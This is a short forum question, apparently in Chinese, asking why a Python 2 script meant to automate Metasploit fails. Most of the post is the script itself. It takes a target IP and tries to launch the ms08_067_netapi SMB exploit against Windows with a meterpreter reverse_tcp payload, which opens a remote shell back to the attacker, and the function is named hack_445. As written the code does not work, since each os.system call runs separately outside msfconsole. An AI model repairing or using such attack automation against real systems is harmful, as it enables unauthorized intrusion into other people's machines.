我想用python脚本自动化metasploit。我尝试使用此代码,但是它不起作用。
def hack_445():
print bcolors.OKGREEN + "[+]port 445 is open in this ip (ATTACK WINDOWS)" + bcolors.ENDC
lhost = raw_input('[+] Enter your ip: ')
rhost = raw_input('[+] Enter your target ip: ')
os.system('msfconsole')
os.system('use exploit/windows/smb/ms08_067_netapi')
os.system('set payload windows/meterpreter/reverse_tcp')
ip3 = 'set lhost {}'.format(lhost)
ip4 = 'set rhost {}'.format(rhost)
os.system(ip3)
os.system(ip4)
os.system('exploit')